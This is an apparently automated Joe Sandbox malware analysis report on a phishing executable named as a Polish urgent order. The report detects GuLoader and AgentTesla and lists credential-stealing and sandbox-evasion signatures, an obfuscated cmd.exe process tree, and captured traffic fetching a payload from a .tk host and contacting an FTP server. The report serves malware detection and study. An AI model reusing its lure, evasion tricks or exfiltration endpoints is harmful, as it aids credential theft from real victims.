Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe

Overview

General Information

Sample Name:Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
Analysis ID:791299
MD5:17388d36388d280c4e2d724c9ab58002
SHA1:ee660100dfbad59a2796244514bff64c66cd0ca7
SHA256:5f20a33e263b8b8f5388b8e2512d0678312257b8fdf592b8a83aa481076048ca
Infos:

Detection

AgentTesla, GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Snort IDS alert for network traffic
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Mass process execution to delay analysis
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
May check the online IP address of the machine
Obfuscated command line found
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Too many similar processes found
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Creates processes with suspicious names
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
PE file does not import any functions
Sample file is different than original file name gathered from version info
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses FTP
PE / OLE file has an invalid certificate
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

Process Tree

  • System is w10x64native
  • Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe (PID: 4904 cmdline: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe MD5: 17388D36388D280C4E2D724C9AB58002)
    • cmd.exe (PID: 6448 cmdline: cmd.exe /c set /A "0x0E^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1420 cmdline: cmd.exe /c set /A "0x19^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1932 cmdline: cmd.exe /c set /A "0x05^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 3356 cmdline: cmd.exe /c set /A "0x0E^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4748 cmdline: cmd.exe /c set /A "0x07^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 2424 cmdline: cmd.exe /c set /A "0x78^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4428 cmdline: cmd.exe /c set /A "0x79^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5516 cmdline: cmd.exe /c set /A "0x71^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 2568 cmdline: cmd.exe /c set /A "0x71^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1988 cmdline: cmd.exe /c set /A "0x08^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 3324 cmdline: cmd.exe /c set /A "0x39^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 308 cmdline: cmd.exe /c set /A "0x2E^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 384 cmdline: cmd.exe /c set /A "0x2A^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 2040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1456 cmdline: cmd.exe /c set /A "0x3F^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1256 cmdline: cmd.exe /c set /A "0x2E^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7352 cmdline: cmd.exe /c set /A "0x0D^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5452 cmdline: cmd.exe /c set /A "0x22^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 2336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4124 cmdline: cmd.exe /c set /A "0x27^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 3400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1940 cmdline: cmd.exe /c set /A "0x2E^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1236 cmdline: cmd.exe /c set /A "0x0A^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 664 cmdline: cmd.exe /c set /A "0x63^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5128 cmdline: cmd.exe /c set /A "0x26^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 6528 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 6976 cmdline: cmd.exe /c set /A "0x39^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 3280 cmdline: cmd.exe /c set /A "0x7F^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1292 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1384 cmdline: cmd.exe /c set /A "0x67^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 6552 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 3272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 2764 cmdline: cmd.exe /c set /A "0x22^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5424 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 8 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1560 cmdline: cmd.exe /c set /A "0x33^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5016 cmdline: cmd.exe /c set /A "0x73^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5040 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4748 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1448 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 2424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1940 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7340 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 2752 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4948 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7948 cmdline: cmd.exe /c set /A "0x67^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 8000 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 6620 cmdline: cmd.exe /c set /A "0x22^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 3280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7040 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 2676 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 6996 cmdline: cmd.exe /c set /A "0x67^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 3360 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5060 cmdline: cmd.exe /c set /A "0x3B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5040 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4748 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4284 cmdline: cmd.exe /c set /A "0x67^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 3364 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7920 cmdline: cmd.exe /c set /A "0x22^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4880 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1456 cmdline: cmd.exe /c set /A "0x7F^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 3280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7352 cmdline: cmd.exe /c set /A "0x67^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7396 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1864 cmdline: cmd.exe /c set /A "0x22^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5452 cmdline: cmd.exe /c set /A "0x6B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 4192 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 2548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 3156 cmdline: cmd.exe /c set /A "0x33^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 1448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 5828 cmdline: cmd.exe /c set /A "0x73^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 4596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7340 cmdline: cmd.exe /c set /A "0x7B^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 1956 cmdline: cmd.exe /c set /A "0x67^75" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • CasPol.exe (PID: 5424 cmdline: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)
      • conhost.exe (PID: 4792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.14099095140.000000000071D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_GuLoader_3Yara detected GuLoaderJoe Security
    00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        00000001.00000002.14100531174.00000000058D8000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
          Process Memory Space: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe PID: 4904JoeSecurity_GuLoader_3Yara detected GuLoaderJoe Security
            Click to see the 2 entries

            Sigma Signatures

            ⊘No Sigma rule has matched

            Snort Signatures

            Timestamp:192.168.11.201.1.1.162662532012811 01/25/23-10:05:53.440564
            SID:2012811
            Source Port:62662
            Destination Port:53
            Protocol:UDP
            Classtype:Potentially Bad Traffic

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Multi AV Scanner detection for submitted file
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeVirustotal: Detection: 32%Perma Link
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: unknownHTTPS traffic detected: 103.83.194.19:443 -> 192.168.11.20:49854 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 64.185.227.155:443 -> 192.168.11.20:49855 version: TLS 1.2
            Source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: f:\bluetooth8.0.1.57\sw\src\WIN8_Mainline\ExtArch\UI\Win7UI\Prism\Composite.UnityExtensions\obj\x64\Release\Microsoft.Practices.Composite.UnityExtensions.pdb source: Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13038087262.0000000002936000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Practices.Composite.UnityExtensions.dll.1.dr
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00405FFD FindFirstFileA,FindClose,1_2_00405FFD
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,1_2_0040559B
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00402688 FindFirstFileA,1_2_00402688

            Networking

            barindex
            Snort IDS alert for network traffic
            Source: TrafficSnort IDS: 2012811 ET DNS Query to a .tk domain - Likely Hostile 192.168.11.20:62662 -> 1.1.1.1:53
            May check the online IP address of the machine
            Source: unknownDNS query: name: api.ipify.org
            Source: unknownDNS query: name: api.ipify.org
            Source: unknownDNS query: name: api.ipify.org
            Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: Joe Sandbox ViewIP Address: 103.83.194.19 103.83.194.19
            Source: Joe Sandbox ViewIP Address: 64.185.227.155 64.185.227.155
            Source: Joe Sandbox ViewIP Address: 64.185.227.155 64.185.227.155
            Source: global trafficHTTP traffic detected: GET /dkVAJHULLLAJIKvMzyyDm233.pcx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: enlluec.tkCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
            Source: unknownFTP traffic detected: 192.185.87.146:21 -> 192.168.11.20:49856 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 03:06. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 03:06. Server port: 21.220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 03:06. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49854
            Source: unknownNetwork traffic detected: HTTP traffic on port 49854 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49855 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49855
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: CasPol.exe, 00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000089.00000003.14129347941.0000000036396000.00000004.00000020.00020000.00000000.sdmp, Cookies.137.drString found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
            Source: Cookies.137.drString found in binary or memory: .www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)
            Source: application-x-executable.png.1.drString found in binary or memory: http://creativecommons.org/licenses/by-sa/4.0/
            Source: CasPol.exe, 00000089.00000003.14075709287.0000000003810000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18026950300.0000000003823000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: CasPol.exe, 00000089.00000002.18026950300.0000000003821000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000089.00000003.14075709287.0000000003810000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: CasPol.exe, 00000089.00000002.18044285630.00000000341E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ftp.sentientshift.com
